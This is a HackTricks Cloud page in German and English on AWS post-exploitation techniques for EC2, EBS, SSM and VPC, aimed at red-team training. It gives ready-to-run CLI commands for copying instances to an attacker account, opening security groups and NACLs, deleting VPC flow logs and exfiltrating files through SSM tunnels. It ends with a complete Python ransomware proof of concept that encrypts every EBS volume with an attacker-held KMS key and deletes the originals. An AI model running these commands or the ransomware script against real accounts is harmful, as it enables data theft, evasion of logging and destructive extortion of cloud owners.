AWS - EC2, EBS, SSM & VPC Post Exploitation

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.

EC2 & VPC

Für weitere Informationen siehe:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroring dupliziert eingehenden und ausgehenden Traffic für EC2 instances innerhalb einer VPC ohne dass etwas auf den Instances selbst installiert werden muss. Dieser duplizierte Traffic wird üblicherweise an etwas wie ein network intrusion detection system (IDS) zur Analyse und Überwachung gesendet.
Ein Angreifer könnte dies missbrauchen, um den gesamten Verkehr zu erfassen und daraus sensible Informationen zu gewinnen:

Für weitere Informationen siehe diese Seite:

AWS - Malicious VPC Mirror

Copy Running Instance

Instances enthalten normalerweise eine Art sensible Informationen. Es gibt verschiedene Wege, um sich Zugriff zu verschaffen (siehe EC2 privilege escalation tricks). Eine andere Möglichkeit, um zu prüfen, was sie enthält, ist jedoch, eine AMI zu erstellen und daraus eine neue instance (auch in Ihrem eigenen Account) zu starten:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots sind Backups von volumes, die normalerweise sensible Informationen enthalten; deshalb sollte eine Überprüfung diese Informationen offenlegen.
Wenn Sie ein volume ohne einen snapshot finden, könnten Sie: einen snapshot erstellen und die folgenden Aktionen durchführen oder es einfach in einer instance mounten innerhalb des Accounts:

AWS - EBS Snapshot Dump

Covert Disk Exfiltration via AMI Store-to-S3

Export an EC2 AMI straight to S3 using CreateStoreImageTask to obtain a raw disk image without snapshot sharing. Dies ermöglicht vollständige Offline-Forensik oder Datendiebstahl, während das instance networking unberührt bleibt.

AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Live Data Theft via EBS Multi-Attach

Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Nützlich, wenn das Opfer-volume bereits Multi-Attach in derselben AZ aktiviert hat.

AWS - Live Data Theft via EBS Multi-Attach

EC2 Instance Connect Endpoint Backdoor

Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Ermöglicht schnelle lateral movement-Pfade, ohne öffentliche Ports zu öffnen.

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

EC2 ENI Secondary Private IP Hijack

Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Ermöglicht das Umgehen interner ACLs oder SG-Regeln, die auf bestimmte Adressen ausgerichtet sind.

AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Elastic IP Hijack for Ingress/Egress Impersonation

Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.

AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Security Group Backdoor via Managed Prefix Lists

If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.

AWS - Security Group Backdoor via Managed Prefix Lists

VPC Endpoint Egress Bypass

Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Die Nutzung von AWS-managed private links umgeht fehlende IGW/NAT-Kontrollen für data exfiltration.

AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

ec2:AuthorizeSecurityGroupIngress

Ein Angreifer mit der Berechtigung ec2:AuthorizeSecurityGroupIngress kann inbound-Regeln zu security groups hinzufügen (zum Beispiel tcp:80 von 0.0.0.0/0 erlauben) und damit interne Services dem öffentlichen Internet oder sonst nicht autorisierten Netzwerken aussetzen.

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0

ec2:ReplaceNetworkAclEntry

Ein Angreifer mit ec2:ReplaceNetworkAclEntry (oder ähnlichen) Berechtigungen kann die Network ACLs (NACLs) eines Subnets ändern, um sie sehr permissiv zu machen — zum Beispiel 0.0.0.0/0 auf kritischen Ports zu erlauben — und so den gesamten Subnetzbereich dem Internet oder nicht autorisierten Netzwerksegmenten auszusetzen. Im Gegensatz zu Security Groups, die pro Instanz angewendet werden, gelten NACLs auf Subnetzebene, sodass das Ändern einer restriktiven NACL einen deutlich größeren Wirkungsradius haben kann, da dadurch der Zugriff auf viele weitere Hosts ermöglicht wird.

aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0

ec2:Delete*

Ein Angreifer mit ec2:Delete*- und iam:Remove*-Berechtigungen kann kritische Infrastrukturressourcen und -konfigurationen löschen — zum Beispiel key pairs, launch templates/versions, AMIs/snapshots, volumes oder attachments, security groups oder rules, ENIs/network endpoints, route tables, gateways oder managed endpoints. Dies kann sofortige Dienstunterbrechungen, Datenverlust und den Verlust forensischer Beweise verursachen.

Ein Beispiel ist das Löschen einer security group:

aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>

VPC Flow Logs Cross-Account Exfiltration

Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.

AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Data Exfiltration

DNS Exfiltration

Even if you lock down an EC2 so no traffic can get out, it can still exfil via DNS.

• VPC Flow Logs werden dies nicht aufzeichnen.
• Du hast keinen Zugriff auf AWS DNS logs.
• Deaktiviere dies, indem du “enableDnsSupport” auf false setzt mit:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

Ein Angreifer könnte API endpoints eines von ihm kontrollierten Accounts aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird die exfiltrate data in den Cloudtrail logs sehen können.

Open Security Group

Du könntest weiteren Zugriff auf network services erhalten, indem du Ports wie folgt öffnest:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc zu ECS

Es ist möglich, eine EC2-Instanz zu starten und sie so zu registrieren, dass sie zum Ausführen von ECS-Instanzen verwendet wird, und dann die Daten der ECS-Instanzen zu stehlen.

Für more information check this.

VPC flow logs entfernen

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

Erforderliche Berechtigungen:

• ssm:StartSession

Neben der Befehlsausführung erlaubt SSM traffic tunneling, das missbraucht werden kann, um von EC2-Instanzen zu pivoten, die aufgrund von Security Groups oder NACLs keinen Netzwerkzugang haben. Ein Szenario, in dem dies nützlich ist, ist das pivoting von einem Bastion Host zu einem privaten EKS-Cluster.

Um eine Sitzung zu starten, muss das SessionManagerPlugin installiert sein: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

1. Installieren Sie das SessionManagerPlugin auf Ihrem Rechner
2. Melden Sie sich beim Bastion EC2 mit folgendem Befehl an:

aws ssm start-session --target "$INSTANCE_ID"

3. Hole die temporären AWS-Anmeldeinformationen des Bastion EC2 mit dem Abusing SSRF in AWS EC2 environment Skript
4. Übertrage die Zugangsdaten auf deine eigene Maschine in die $HOME/.aws/credentials Datei als Profil [bastion-ec2]
5. Melde dich bei EKS als Bastion EC2 an:

aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>

6. Aktualisiere das server-Feld in der Datei $HOME/.kube/config, sodass es auf https://localhost zeigt
7. Erstelle einen SSM-Tunnel wie folgt:

sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>

8. Der Traffic des kubectl-Tools wird jetzt durch den SSM-Tunnel über die Bastion EC2 weitergeleitet und Sie können von Ihrem eigenen Rechner auf das private EKS-Cluster zugreifen, indem Sie Folgendes ausführen:

kubectl get pods --insecure-skip-tls-verify

Beachte, dass SSL-Verbindungen fehlschlagen, sofern du nicht das Flag --insecure-skip-tls-verify setzt (oder das entsprechende in K8s Audit-Tools). Da der Datenverkehr durch den sicheren AWS SSM tunnel geleitet wird, bist du vor jeglichen MitM-Angriffen geschützt.

Schließlich ist diese Technik nicht speziell auf Angriffe gegen private EKS-Cluster beschränkt. Du kannst beliebige Domains und Ports setzen, um zu jedem anderen AWS-Service oder einer eigenen Anwendung zu pivot.

Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)

Wenn du nur einen TCP-Port von der EC2 instance zu deinem lokalen Host weiterleiten musst, kannst du das AWS-StartPortForwardingSession SSM document verwenden (kein remote host-Parameter erforderlich):

aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

Der Befehl stellt einen bidirektionalen Tunnel zwischen deiner Arbeitsstation (localPortNumber) und dem ausgewählten Port (portNumber) auf der Instanz ohne irgendwelche inbound Security-Group rules zu öffnen her.

Common use cases:

• File exfiltration

1. Auf der Instanz einen schnellen HTTP-Server starten, der auf das Verzeichnis zeigt, das du exfiltrate möchtest:

python3 -m http.server 8000

2. Von deiner Arbeitsstation aus die Dateien durch den SSM tunnel abrufen:

curl http://localhost:8000/loot.txt -o loot.txt

• Zugriff auf interne Webanwendungen (z. B. Nessus)

# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

Tipp: Komprimiere und verschlüssele Beweise, bevor du sie exfiltrating, damit CloudTrail den Klartext nicht protokolliert:

# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

AMI freigeben

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Nach sensiblen Informationen in öffentlichen und privaten AMIs suchen

• https://github.com/saw-your-packet/CloudShovel: CloudShovel ist ein Tool, das dazu entwickelt wurde, nach sensiblen Informationen innerhalb öffentlicher oder privater Amazon Machine Images (AMIs) zu suchen. Es automatisiert den Prozess, Instanzen aus Ziel-AMIs zu starten, deren Volumes einzuhängen und nach potenziellen Secrets oder sensiblen Daten zu scannen.

EBS Snapshot teilen

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Ein Proof-of-Concept, ähnlich der Ransomware-Demonstration in den S3 post-exploitation notes. KMS sollte wegen der Einfachheit, mit der es zur Verschlüsselung verschiedener AWS-Services verwendet werden kann, in RMS für Ransomware Management Service umbenannt werden.

Zuerst, aus einem ‘attacker’ AWS account, erstelle einen customer managed key in KMS. Für dieses Beispiel lasse ich AWS die key data verwalten; in einem realistischen Szenario würde ein böswilliger Akteur die key data außerhalb der Kontrolle von AWS aufbewahren. Ändere die key policy so, dass jeder AWS account Principal den key verwenden kann. Für diese key policy trug das Konto den Namen ‘AttackSim’ und die Policy-Regel, die vollen Zugriff erlaubt, heißt ‘Outside Encryption’.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Die Key-Policy muss die folgenden Rechte aktiviert haben, damit sie verwendet werden kann, um ein EBS-Volume zu verschlüsseln:

• kms:CreateGrant
• kms:Decrypt
• kms:DescribeKey
• kms:GenerateDataKeyWithoutPlainText
• kms:ReEncrypt

Nachdem der öffentlich zugängliche Key verfügbar ist, können wir ein ‘victim’-Konto verwenden, das einige EC2-Instanzen mit angehängten unverschlüsselten EBS-Volumes laufen hat. Die EBS-Volumes dieses ‘victim’-Kontos sind das Ziel der Verschlüsselung; dieser Angriff geht von einem angenommenen Kompromiss eines hoch privilegierten AWS-Kontos aus.

Ähnlich dem S3-Ransomware-Beispiel. Dieser Angriff erstellt Kopien der angehängten EBS-Volumes mittels Snapshots, verwendet den öffentlich verfügbaren Key aus dem ‘attacker’-Konto, um die neuen EBS-Volumes zu verschlüsseln, hängt dann die Original-EBS-Volumes von den EC2-Instanzen ab und löscht sie und löscht abschließend die Snapshots, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden.

Das Ergebnis sind nur noch verschlüsselte EBS-Volumes im Konto.

Ebenfalls bemerkenswert: Das Script stoppte die EC2-Instanzen, um die Original-EBS-Volumes zu trennen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.

Als Nächstes kehren Sie zur Key-Policy im ‘attacker’-Konto zurück und entfernen die ‘Outside Encryption’-Policy-Regel aus der Key-Policy.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Warte einen Moment, bis die neu gesetzte Schlüsselrichtlinie sich verbreitet hat. Kehre dann zum ‘Opfer’-Account zurück und versuche, eines der neu verschlüsselten EBS-Volumes anzuhängen. Du wirst feststellen, dass du das Volume anhängen kannst.

Aber wenn du versuchst, die EC2-Instanz mit dem verschlüsselten EBS-Volume tatsächlich wieder zu starten, wird das einfach fehlschlagen und sofort vom ‘pending’-Zustand wieder in den ‘stopped’-Zustand zurückfallen, da das angehängte EBS-Volume mit dem Key nicht entschlüsselt werden kann, weil die Schlüsselrichtlinie dies nicht mehr erlaubt.

Dies ist das verwendete python-Skript. Es nimmt AWS creds für einen ‘Opfer’-Account und einen öffentlich verfügbaren AWS ARN-Wert für den Key, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLE EC2-Instanzen im Ziel-AWS-Account angehängt sind, stoppt dann jede EC2-Instanz, hängt die originalen EBS-Volumes ab, löscht sie und entfernt schließlich alle während des Prozesses verwendeten snapshots. Dadurch bleiben im Ziel-‘Opfer’-Account nur noch verschlüsselte EBS-Volumes übrig. NUTZE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST DESTRUKTIV UND WIRD ALLE ORIGINALEN EBS-VOLUMES LÖSCHEN. Du kannst sie mit dem verwendeten KMS key wiederherstellen und über snapshots in ihren ursprünglichen Zustand zurücksetzen, aber ich möchte dich nur darauf hinweisen, dass dies letztlich ein ransomware PoC ist.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

Quellen

• Pentest Partners – Wie man Dateien in AWS mit SSM überträgt

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.